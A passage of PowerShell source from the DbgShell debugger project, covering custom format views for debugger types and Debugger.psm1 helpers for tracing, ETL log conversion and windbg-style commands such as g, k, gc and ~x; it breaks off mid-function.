'System.Collections.ObjectModel.ReadOnlyDictionary' { New-AltTableViewDefinition { New-AltColumns { New-AltPropertyColumn -PropertyName 'Count' -Width 5 -Alignment Right #New-AltPropertyColumn -PropertyName 'IsReadOnly' -Width 10 -Alignment Right New-AltPropertyColumn -PropertyName 'Keys' -Alignment Left New-AltPropertyColumn -PropertyName 'Values' -Alignment Left } # End Columns } # end Table view } # end Type Dictionary New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgNearSymbol' { New-AltCustomViewDefinition -Script { # This script uses a trick: each time it's run (for a single invocation of # Format-AltCustom), it saves the context to re-use for the next time, so we # can "remember" items we have seen previously. (-PreserveScriptContext) if( !(Test-Path 'Variable:\_tmp_ outputModule') ) { [bool] ${_tmp_ outputModule} = $true [bool] ${_tmp_ scrambled} = $false # I could just put the module name into the symbol name (in the normal # fasion, "blahMod!symName"), but I can save some space if I just print # out the module name once (here). On the other hand, will it make # copy/paste more tedious? (New-ColorString -Content "The following symbols are in module: ").Append( (Format-DbgModuleName $_.Symbol.Module.Name) ) '' } $dispFg = [ConsoleColor]::DarkGray $dispBg = [ConsoleColor]::Black if( $_.DoesNotMakeMathematicalSense ) { ${_tmp_ scrambled} = $true $dispFg = [ConsoleColor]::Black $dispBg = [ConsoleColor]::Yellow } $cs = $null if( 0 -eq $_.Displacement ) { $fg = [ConsoleColor]::Green if( $_.DoesNotMakeMathematicalSense ) { # This seems pretty unlikely, but it must be possible. $fg = [ConsoleColor]::Yellow } $cs = New-ColorString -Foreground $fg -Content ' Exact match -> ' [bool] ${_tmp_ foundMatch} = $true } else { [string] $neg = '' $disp = $_.Displacement if( $_.Displacement -lt 0 ) { $neg = '-' $disp = 0 - $_.Displacement } else { if( !(Test-Path 'Variable:\_tmp_ alreadyOutputNoMatch') ) { [bool] ${_tmp_ alreadyOutputNoMatch} = $true if( !(Test-Path 'Variable:\_tmp_ foundMatch') ) { (New-ColorString -Foreground 'Yellow' -Content ' (no match) ' ).Append( (New-ColorString -Foreground 'DarkGray' -Content (Format-DbgAddress $_.BaseAddress).ToString( $false )) ) } } } $dispStr = [string]::Format( '{0}0x{1:x}', $neg, $disp ) $cs = New-ColorString -Foreground $dispFg -Background $dispBg -Content $dispStr $cs = [MS.Dbg.ColorString]::MakeFixedWidth( $cs, 15, $true, 'Right' ).Append( ' ' ) } $null = $cs.Append( (Format-DbgAddress ($_.BaseAddress + $_.Displacement)) ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::White, $_.Symbol.Name ). Append( ': ' ). Append( (Format-AltSingleLine -InputObject $_.Symbol.Value) ) $cs = [MS.Dbg.ColorString]::Truncate( $cs, $Host.UI.RawUI.BufferSize.Width - 1 ) $cs } -PreserveScriptContext -End { if( ${_tmp_ scrambled} ) { # TODO: ColorString wordwrap. New-ColorString -Fore 'Yellow' -Content "`n Warning: One or more results do not appear to make sense (BaseAddress + Displacement != Symbol.Address).`n This can be caused by post-build optimization tools that rearrange code but do not regenerate`n the PDB (such as BBT)." } } # end custom view definition } # end type MS.Dbg.DbgNearSymbol New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.Interop.VS_FIXEDFILEINFO' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'dwSignature' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwStrucVersion' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileVersionMS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileVersionLS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwProductVersionMS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwProductVersionLS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileFlagsMask' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileFlags' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileOS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileType' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileSubtype' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileDateMS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileDateLS' -FormatString '0x{0:x}' } # end List view } # end type VS_FIXEDFILEINFO New-AltTypeFormatEntry -TypeName 'MS.Dbg.FixedFileInfo' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Signature' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'StructureVersion' New-AltPropertyListItem -PropertyName 'FileVersion' New-AltPropertyListItem -PropertyName 'ProductVersion' New-AltPropertyListItem -PropertyName 'Flags' New-AltPropertyListItem -PropertyName 'OS' New-AltPropertyListItem -PropertyName 'FileType' New-AltPropertyListItem -PropertyName 'FileSubtype' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'FileDate' } # end List view } # end type FixedFileInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.ModuleVersionInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Language' { if( $null -eq $_.Language ) { '0x0000 (Language Neutral)' } else { [string]::Format( "0x{0:x4} ({1})", $_.Language.LCID, $_.Language.DisplayName ) } } New-AltScriptListItem -Label 'CharSet' { if( $null -eq $_.CharSet ) { '0x0000' # TODO: Is this possible? If so, does filever say anything else besides 0000? } else { [string]::Format( "0x{0:x4} {1}", $_.CharSet.CodePage, $_.CharSet.EncodingName ) } } New-AltPropertyListItem -PropertyName 'CompanyName' New-AltPropertyListItem -PropertyName 'FileDescription' New-AltPropertyListItem -PropertyName 'InternalName' New-AltPropertyListItem -PropertyName 'OriginalFilename' New-AltPropertyListItem -PropertyName 'ProductName' New-AltPropertyListItem -PropertyName 'ProductVersion' New-AltPropertyListItem -PropertyName 'FileVersion' New-AltPropertyListItem -PropertyName 'LegalCopyright' New-AltPropertyListItem -PropertyName 'LegalTrademarks' New-AltPropertyListItem -PropertyName 'PrivateBuild' New-AltPropertyListItem -PropertyName 'SpecialBuild' New-AltScriptListItem -Label 'FFI.Signature' { $_.FixedFileInfo.Signature.ToString( 'x8' ) } New-AltScriptListItem -Label 'FFI.StructureVersion' { $_.FixedFileInfo.StructureVersion } New-AltScriptListItem -Label 'FFI.FileVersion' { $_.FixedFileInfo.FileVersion } New-AltScriptListItem -Label 'FFI.ProductVersion' { $_.FixedFileInfo.ProductVersion } New-AltScriptListItem -Label 'FFI.Flags' { $_.FixedFileInfo.Flags } New-AltScriptListItem -Label 'FFI.OS' { $_.FixedFileInfo.OS } New-AltScriptListItem -Label 'FFI.FileType' { $_.FixedFileInfo.FileType } New-AltScriptListItem -Label 'FFI.FileSubtype' { $_.FixedFileInfo.FileSubtype } New-AltScriptListItem -Label 'FFI.FileDate' { $_.FixedFileInfo.FileDate } } # end List view } # end type ModuleVersionInfo New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.Interop.DEBUG_STACK_FRAME_EX' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'InstructionOffset' { Format-DbgAddress $_.InstructionOffset } New-AltScriptListItem -Label 'ReturnOffset' { Format-DbgAddress $_.ReturnOffset } New-AltScriptListItem -Label 'FrameOffset' { Format-DbgAddress $_.FrameOffset } New-AltScriptListItem -Label 'StackOffset' { Format-DbgAddress $_.StackOffset } New-AltScriptListItem -Label 'FuncTableEntry' { Format-DbgAddress $_.FuncTableEntry } New-AltScriptListItem -Label 'Params' { New-ColorString -Content "" -Fore DarkGray } New-AltScriptListItem -Label 'Reserved' { New-ColorString -Content "" -Fore DarkGray } New-AltPropertyListItem -PropertyName 'Virtual' New-AltScriptListItem -Label 'FrameNumber' { Format-AltSingleLine -InputObject $_.FrameNumber } New-AltPropertyListItem -PropertyName 'InlineFrameContext' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Reserved1' } # end List view } # end type Microsoft.Diagnostics.Runtime.Interop.DEBUG_STACK_FRAME_EX New-AltTypeFormatEntry -TypeName 'MS.Dbg.PsIndexedDictionary' { # The default (generated) single-line view definition will end up enumerating the # dictionary, which results in a string like "{[blahblah blah blah blah], [blah # blah blah blah blah], ...}", which is not so great. So we'll supply a view which # will take advantage of the special ToString() method that we typically tack onto # it during symbol value conversion. New-AltSingleLineViewDefinition { $_.ToString() } # end single-line view } # end type PsIndexedDictionary New-AltTypeFormatEntry -TypeName 'MS.Dbg.SymbolHistoryRecord' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'Type' -Width 9 -Alignment Center -Script { if( $_ -is [MS.Dbg.DtdRecord] ) { New-ColorString -Content 'DTD' -Foreground Cyan } elseif( $_ -is [MS.Dbg.SvcRecord] ) { New-ColorString -Content 'SVC' -Foreground Magenta } else { New-ColorString -Content '(final)' -Foreground Gray } } New-AltScriptColumn -Label 'SymbolName' -Width 26 -Alignment Left -Script { $_.OriginalSymbol.Name } New-AltScriptColumn -Label 'SymbolType' -Alignment Left -Script { $_.OriginalSymbol.Type } } # End Columns } # end Table view } # end Type Dictionary } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.psm1 ================================================ Set-StrictMode -Version Latest <# .Synopsis Turns on debug tracing of the Debugger provider and select PowerShell trace sources. .Description Creates a TextWriterTraceListener which traces to the file specified by the TraceFilePath parameter (default: $env:temp\DbgProviderTracing.txt). This listener is added to the Debugger provider's trace source listener collection, as well as the listener collection of any specified PowerShell trace sources (default: 'LocationGlobber', 'PathResolution', 'PSDriveInfo', 'CmdletProviderClasses'). #> function Enable-ProviderTracingStuff { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $TraceFilePath = "$env:temp\DbgProviderTracing.txt", [Parameter( Mandatory = $false, Position = 1 )] [string[]] $PsTraceSources = @( 'LocationGlobber', 'PathResolution', 'PSDriveInfo', 'CmdletProviderClasses' ) ) begin { } end { } process { $listener = New-Object "System.Diagnostics.TextWriterTraceListener" -ArgumentList @( $TraceFilePath, "DbgProviderTraceListener" ) $listener.TraceOutputOptions = 'DateTime,ProcessId,ThreadId' if( ($null -ne $PsTraceSources) -and ($PsTraceSources.Count -gt 0) ) { #Set-TraceSource -Name $PsTraceSources -Option All -ListenerOption Timestamp -PassThru | % { [void] $_.Listeners.Add( $listener ) } Set-TraceSource -Name $PsTraceSources -Option All -PassThru | % { [void] $_.Listeners.Add( $listener ) } } [MS.Dbg.DbgProvider]::AddListener( $listener ) } } # end Enable-ProviderTracingStuff <# .Synopsis Gets the path bugginess style used by path manipulation functions in the provider. .Description There are currently path manipulation bugs inherent in the PowerShell provider system--it is difficult if not impossible to write a provider without some set of path manipulation bugs. This command allows you to get a value indicating the set of path manipulation bugs exhibited by the provider. The provider can exhibit either Registry provider-style bugs or Certificate provider-style bugs. .Link Set-PathBugginessStyle #> function Get-PathBugginessStyle { [CmdletBinding()] param( ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::GetPathBugginessStyle() } finally { } # needed in order to get the error-processing semantics we want. } } # end Get-PathBugginessStyle <# .Synopsis Sets the path bugginess style used by path manipulation functions in the provider. .Description There are currently path manipulation bugs inherent in the PowerShell provider system--it is difficult if not impossible to write a provider without some set of path manipulation bugs. This command allows you to select the set of path manipulation bugs exhibited by the provider. You can choose between Registry provider-style bugs or Certificate provider-style bugs. .Link Get-PathBugginessStyle #> function Set-PathBugginessStyle { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [MS.Dbg.PathBugginessStyle] $PathBugginessStyle ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::SetPathBugginessStyle( $PathBugginessStyle ) } finally { } # needed in order to get the error-processing semantics we want. } } # end Set-PathBugginessStyle function Assert { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [bool] $Condition, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $Message ) begin { } end { } process { try { if( $Condition ) { return } $stack = [System.Management.Automation.CallStackFrame[]] (Get-CallersStack) [string] $msg = $null if( !$stack ) { throw "Assertion failed (no stack): $Message" } # We don't actually need to use $Message, because it will show up in $stack[ 0 ].Position below. $msg = "Assertion failed: $($stack[ 0 ].Location) : $($stack[ 0 ].Position.ToString())" $ex = New-Object 'System.Exception' -ArgumentList @( $msg ) $ex.Data[ $PSCallstackKey ] = $stack $assertErrorRecord = New-ErrorRecord $ex 'FailedAssert' throw $assertErrorRecord } finally { } } } # end Assert() <# .Synopsis Saves the current virtual namespace to a stack and creates a new one. .Description Saves the current virtual namespace, including drives, to a stack, and replaces the current virtual namespace with a new one. This can be used for testing--when testing is finished, you can call Pop-Namespace, which will discard any changes you have made, restoring the namespace that was saved by Push-Namespace. .Link Pop-Namespace #> function Push-Namespace { [CmdletBinding()] param( ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::PushNamespace() # Current working directory may not exist. We'll move to the root to be consistent. [System.Diagnostics.Debug]::Assert( $? ) } finally { } # needed in order to get the error-processing semantics we want. } } # end Push-Namespace <# .Synopsis Restores the most recent virtual namespace from the stack, discarding the current namespace. .Description Restores the current virtual namespace, including drives, from a stack, and discards the current namespace. Useful for testing. See also: Push-Namespace. .Link Push-Namespace #> function Pop-Namespace { [CmdletBinding()] param( ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::PopNamespace() } finally { } # needed in order to get the error-processing semantics we want. } } # end Pop-Namespace <# .SYNOPSIS If a symbol name contains special characters, it quotes and escapes it. Example: ole32!GenericStream::`vftable' --> 'ole32!GenericStream::`vftable''' #> function QuoteAndEscapeSymbolNameIfNeeded { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $SymName ) begin { } end { } process { try { if( [string]::IsNullOrEmpty( $SymName ) ) { return $SymName } if( $SymName.Contains( "``" ) -or $SymName.Contains( "'" ) -or $SymName.Contains( '$' ) ) { $SymName = [String]::Format( "'{0}'", $SymName.Replace( "'", "''" ) ) } return $SymName } finally { } } } # end QuoteAndEscapeSymbolNameIfNeeded <# .Synopsis Disconnects from a dump target. .Description Provided for parity with 'Mount-DbgDumpFile': you can also just use '.detach' or 'Disconnect-DbgProcess'. #> function Dismount-DbgDumpFile() { .detach } # end Dismount-DbgDumpFile <# .SYNOPSIS Converts a CSV trace file (as emitted by "tracerpt -of csv" or Convert-EtlToCsv) to plain text. #> function Convert-CsvTraceToText( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $inputCsvFile ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $inputCsvFile = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $inputCsvFile ) [System.IO.StreamReader] $reader = $null [System.IO.StreamWriter] $writer = $null try { #[string] $outputTxtFile = $inputCsvFile + ".txt" [string] $outputTxtFile = $null if( $inputCsvFile.EndsWith( ".csv", [StringComparison]::OrdinalIgnoreCase ) ) { $outputTxtFile = $inputCsvFile.Substring( 0, $inputCsvFile.Length - 4 ) + ".txt" } else { $outputTxtFile = $inputCsvFile + ".txt" } if( [System.IO.File]::Exists( $outputTxtFile ) ) { Write-Warning ('File "{0}" already exists; skipping it.' -f $outputTxtFile) return } $reader = New-Object "System.IO.StreamReader" -ArgumentList @( $inputCsvFile ) [System.IO.FileStream] $outStream = New-Object "System.IO.FileStream" -ArgumentList @( $outputTxtFile, [System.IO.FileMode]::CreateNew ) $writer = New-Object "System.IO.StreamWriter" -ArgumentList @( $outStream ) # Skip the first two lines (CSV header stuff). $line = $reader.ReadLine() $line = $reader.ReadLine() if( $null -eq $line ) { Write-Error "There weren't even two lines?" -Category InvalidData -TargetObject $inputCsvFile return; } New-Variable -Name Quote -Value 34 -Option ReadOnly -Visibility Private function EatPastQuote() { [int] $intChar = 0 while( ($intChar -ne -1) -and ($intChar -ne $Quote) ) { $intChar = $reader.Read() } return $intChar -ne -1 } # end EatPastQuote() while( $true ) { if( !(EatPastQuote) ) { break } $line = $reader.ReadLine() if( $line -eq $null ) { break } $dropLastQuote = $line.Substring( 0, $line.Length - 1 ) $writer.WriteLine( $dropLastQuote ) } return $outputTxtFile } finally { if( $null -ne $reader ) { $reader.Dispose() } if( $null -ne $writer ) { $writer.Dispose() } } } # end Process block } # end Convert-CsvTraceToText() <# .SYNOPSIS Converts an ETL trace file to CSV using "tracerpt -of csv ...". #> function Convert-EtlToCsv( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $inputEtlFile ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $inputEtlFile = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $inputEtlFile ) $csvFile = $inputEtlFile + '.csv' tracerpt -y -of csv -o $csvFile $inputEtlFile | Out-Null return $csvFile } } # end Convert-EtlToCsv <# .SYNOPSIS Converts an ETL trace file to a plain text file. #> function Convert-EtlToText( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $inputEtlFile ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $inputEtlFile = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $inputEtlFile ) $csvFile = Convert-EtlToCsv $inputEtlFile $txtFile = Convert-CsvTraceToText $csvFile if( $? ) { # Don't need to keep the CSV lying around... Remove-Item $csvFile } return $txtFile } } # end Convert-EtlToText <# .SYNOPSIS Converts a fully-qualified path to a PS-relative path. .DESCRIPTION If the specified $path starts with $PWD, then the $PWD path is replaced with ".", yielding a path relative to the current PS working directory. #> function ConvertTo-RelativePath( [string] $path ) { if( $path.StartsWith( $PWD ) ) { return "." + $path.Substring( $PWD.ToString().Length ) } else { return $path } } <# .SYNOPSIS Pops open a text file with gvim if installed, else notepad. #> function Open-TextFile( [string] $file ) { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $file = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $file ) $command = Get-Command -Name "gvim.exe*" # using a wildcard pattern so it returns nothing if none found (instead of an error) if( !$command ) { $command = Get-Command -Name "notepad.exe" } & $command $file } # end Open-TextFile() <# .SYNOPSIS Pads the specified string with leading zeros. (i.e. "ZeroPad '1' 3" yields "001") #> function ZeroPad( [string] $s, [int] $len ) { if( $s.Length -ge $len ) { return $s } $numZeroesNeeded = $len - $s.Length return ((New-Object 'System.String' -Arg @( ([char] '0'), $numZeroesNeeded )) + $s) } # end ZeroPad() <# .SYNOPSIS Saves a copy of the specified (or current) DbgShell debug trace file, converts it to text, and opens it. #> function Open-DbgShellLog { [CmdletBinding( DefaultParameterSetName = 'DefaultParameterSetName' )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'DefaultParameterSetName' )] [string] $DbgShellLog, [Parameter( Mandatory = $false, Position = 1 )] [string] $DestFileName, [Parameter( Mandatory = $false, ParameterSetName = 'PenultimateParameterSetName' )] [switch] $Penultimate ) begin { } end { } process { [bool] $needToPopLocation = $false try { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop if( "FileSystem" -ne (Get-Location).Provider.Name ) { $needToPopLocation = $true Push-Location C: } [bool] $isCurrentLog = $false if( $Penultimate ) { $DbgShellLog = Get-DbgShellLog | Select-Object -Skip 1 -First 1 } elseif( !$DbgShellLog ) { $isCurrentLog = $true $DbgShellLog = Get-DbgShellLog -Current } if( !$DestFileName ) { $DestFileName = [System.IO.Path]::GetFileNameWithoutExtension( $DbgShellLog ) } $destDir = [System.IO.Path]::GetDirectoryName( $DbgShellLog ) $destDir = [System.IO.Path]::Combine( $destDir, 'Converted' ) $destEtlFile = $DestFileName + '.etl' $destEtlFile = [System.IO.Path]::Combine( $destDir, $destEtlFile ) if( [System.IO.File]::Exists( $destEtlFile ) ) { [string] $candidate = '' for( [int] $i = 1 ; $i -lt 1000 ; $i++ ) { $candidate = $destEtlFile + "_" + (ZeroPad $i 3) if( ![System.IO.File]::Exists( $candidate ) ) { $destEtlFile = $candidate break } } if( [System.IO.File]::Exists( $destEtlFile ) ) { throw "The file '$destEtlFile' already exists, and we've hit the limit for tacking on a distinguisher. You've saved a copy of this log a lot, haven't you?" } } if( ![System.IO.Directory]::Exists( $destDir ) ) { $null = mkdir $destDir } if( $isCurrentLog ) { $asm = [System.Reflection.Assembly]::GetAssembly( [MS.Dbg.DbgProvider] ) $LogManagerType = $asm.GetType( "MS.Dbg.LogManager" ) [System.Reflection.BindingFlags] $bf = "Static,Public" $mi = $LogManagerType.GetMethod( "SaveLogFile", $bf ); if( $null -eq $mi ) { throw "Unexpected: no LogManager.SaveLogFile method." } [void] $mi.Invoke( $null, @( $destEtlFile, $false ) ) } else { copy $DbgShellLog $destEtlFile } $txtFile = Convert-EtlToText $destEtlFile Open-TextFile $txtFile } finally { if( $needToPopLocation ) { Pop-Location } } } } # end Open-DbgShellLog() <# .SYNOPSIS Converts all ETL trace files in a given directory to plain text. #> function Convert-AllEtlToText( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $InputDir ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $InputDir = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $InputDir ) [int] $RootProgressId = 1 Write-Progress -Id $RootProgressId -Activity "Converting trace files to plain text" -Status "Searching for files in $InputDir..." $files = Get-ChildItem -Path $InputDir -Filter *.etl -Recurse [int] $curFile = 0 foreach( $file in $files ) { Write-Progress -Id $RootProgressId -Activity "Converting trace files to plain text" -Status "Converting $($file.Name)..." -PercentComplete ([int](($curFile / $files.Count) * 100)) foreach( $csvFile in Convert-EtlToCsv $file.FullName ) { Convert-CsvTraceToText $csvFile if( $? ) # TODO: I set $ErrorActionPreference to 'Stop'... so if it failed, we should throw, so this check should be pointless. { # Don't need to keep the CSV lying around... Remove-Item $csvFile } } $curFile++ } Write-Progress -Id $RootProgressId -Activity "Converting trace files to plain text" -Status "Done." -Completed } # end Process } # end Convert-AllEtlToText <# .SYNOPSIS "Go": causes the current target to resume execution (wraps Resume-Process). #> function g { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end g() <# .SYNOPSIS "steP": causes the current target to single-step (wraps Resume-Process). #> function p { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepOver } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end p() <# .SYNOPSIS "step inTo": causes the current target to single-step, into a call (wraps Resume-Process). #> function t { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepInto } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end t() <# .SYNOPSIS "steP to Call": causes the current target to execute until the next call instruction (wraps Resume-Process). #> function pc { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepToCall } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end pc() <# .SYNOPSIS "Go Up": causes the current target to resume execution until it returns from the current function. #> function gu { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepOut } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end gu() <# Aliases that override built-in aliases ("both scopes") Aliases that override built-in aliases must be set in both 'Global' AND 'Local' scopes. If not also set in local scope, then functions in this module that attempt to use the alias will see the built-in instead of our override. #> # "gu" is traditionally aliased to Get-Unique, which is handy, but I think the debugger # command is more important. Set-Alias -Name gu -Value 'Debugger\gu' -Option AllScope -Scope Local -Force # see comment about setting in "both scopes" Set-Alias -Name gu -Value 'Debugger\gu' -Option AllScope -Scope Global -Force # see comment about setting in "both scopes" <# .SYNOPSIS If no parameters specified: "Go Conditional": causes the current target to resume execution from a conditional breakpoint in the same fashion that was used to hit the breakpoint (stepping, tracing, or freely executing). Else: a proxy for Get-Content. (Run "Get-Content -?" for more information about Get-Content parameters.) #> function gc { [CmdletBinding( DefaultParameterSetName = 'GoConditional', SupportsTransactions = $true )] param( [Parameter( ValueFromPipelineByPropertyName = $true )] [long] ${ReadCount}, [Parameter( ValueFromPipelineByPropertyName = $true )] [Alias( 'First', 'Head' )] [long] ${TotalCount}, [Parameter( ValueFromPipelineByPropertyName = $true )] [Alias( 'Last' )] [int] ${Tail}, [Parameter( ParameterSetName = 'Path', Mandatory = $true, Position = 0, ValueFromPipelineByPropertyName = $true )] [string[]] ${Path}, [Parameter( ParameterSetName = 'LiteralPath', Mandatory = $true, ValueFromPipelineByPropertyName = $true)] [Alias( 'PSPath' )] [string[]] ${LiteralPath}, [string] ${Filter}, [string[]] ${Include}, [string[]] ${Exclude}, [switch] ${Force}, [Parameter( ValueFromPipelineByPropertyName = $true )] [pscredential] [System.Management.Automation.CredentialAttribute()] ${Credential} ) begin { try { $steppablePipeline = $null if( $PSCmdlet.ParameterSetName -eq 'GoConditional' ) { # Unfortunately this operation can't be performed by using a proper API--it # depends on knowing internal dbgeng state. So we'll just have to ask dbgeng # to do it for us. # TODO: I think running Invoke-DbgEng here (as opposed to letting # DbgEngDebugger call InvokeDbgEngCommand) has some behavior differences. # But... there's too much else currently in play (conditional bp / message # loop stuff) to worry about digging into it right now. #Invoke-DbgEng 'gc' Resume-Process -ResumeType GoConditional } else { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Microsoft.PowerShell.Management\Get-Content', [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters } $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } } finally { } } process { try { if( $steppablePipeline ) { $steppablePipeline.Process($_) } } finally { } } end { try { if( $steppablePipeline ) { $steppablePipeline.End() } } finally { } } } # end gc() # "gc" is traditionally aliased to Get-Content, which is handy, but I think the debugger # command is more important. We've mitigated this by making "gc" invoke Get-Content if # called with parameters. Set-Alias -Name gc -Value 'Debugger\gc' -Option AllScope -Scope Local -Force # see comment about setting in "both scopes" Set-Alias -Name gc -Value 'Debugger\gc' -Option AllScope -Scope Global -Force # see comment about setting in "both scopes" Set-Alias kc Get-DbgStack <# .SYNOPSIS Displays the "stacK" (like windbg 'k' command). Note that this does not return the actual DbgStackInfo objects (it outputs formatted strings). Use "kc" to get actual stack objects (or Get-DbgStack). #> function k { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [int] $MaxFrameCount, [Parameter( Mandatory = $false, Position = 1, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.ThreadTransformation()] # so we can take thread IDs [MS.Dbg.DbgUModeThreadInfo[]] $Thread ) Begin { } End { } Process { try { Get-DbgStack -MaxFrameCount $MaxFrameCount -Thread $Thread | %{ $_.Frames | Format-AltTable } } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end k() <# .Synopsis "Thread command": used to handle various dbgeng-style thread commands ("~4 s", etc.). .Description A CommandNotFound handler is used to intercept things like "~* k" and send them to this function (with a little argument massaging). #> function ~x { [CmdletBinding()] # TODO: This attribute does not seem to get me tab completion # (as in "~ | %{ $_.Sta[TAB]"). Bug? [OutputType( [MS.Dbg.DbgUModeThreadInfo] )] param( [Parameter( Mandatory = $false, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $threadId, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true )] [string] $command ) process { [bool] $needToSetContextBack = $false $originalContext = $Debugger.GetCurrentDbgEngContext() try { [bool] $moreThanOne = $false . { if( !$threadId ) { # This is a little odd, but it seems to match windbg. if( $command ) { # Although actually, I don't think we can end up in this case if you # are using windbg-style syntax (which gets intercepted by the # CommandNotFound handler), because the CommandNotFound handler # doesn't handle it. (ex: "~ k" works in windbg, but I don't think # that will get us here in DbgShell) $threadId = '.' } else { $threadId = '*' } } if( '*' -eq $threadId ) { $moreThanOne = $true Get-DbgUModeThreadInfo } elseif( '#' -eq $threadId ) { Get-DbgUModeThreadInfo -LastEvent } elseif( '.' -eq $threadId ) { Get-DbgUModeThreadInfo -Current } else { [UInt32] $uid = 0 if( ![UInt32]::TryParse( $threadId, [ref] $uid ) ) { throw "Invalid thread id: $threadId" } Get-DbgUModeThreadInfo -DebuggerId $uid } } | %{ $thread = $_ if( !$command ) { # if( !$moreThanOne ) # { # $thread | Format-List # } # else # { $thread # } } else { $needToSetContextBack = $true if( $moreThanOne -and $command ) { $thread | Format-AltSingleLine } # TODO: handle f/u, s/r, maybe even e if( 's' -eq $command ) { if( $moreThanOne ) { Write-Warning "No... I'm not going to switch to each thread's context." break } $needToSetContextBack = $false Switch-DbgUModeThreadInfo -Thread $thread break } Switch-DbgUModeThreadInfo -Thread $thread -Quiet # # TODO: Invoke-Expression is generally the wrong thing to do... really # I ought to have the caller pass in a ScriptBlock. But this command # is designed to make things seem just like in windbg... # Invoke-Expression $command } } } finally { if( $needToSetContextBack ) { $Debugger.SetCurrentDbgEngContext( $originalContext ) } } } # end process } # end ~x() <# .Synopsis Formats and colorizes an address. NOTE: returns "(null)" for zero. #> function Format-DbgAddress { [CmdletBinding( DefaultParameterSetName = 'DebuggerParamSet' )] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, 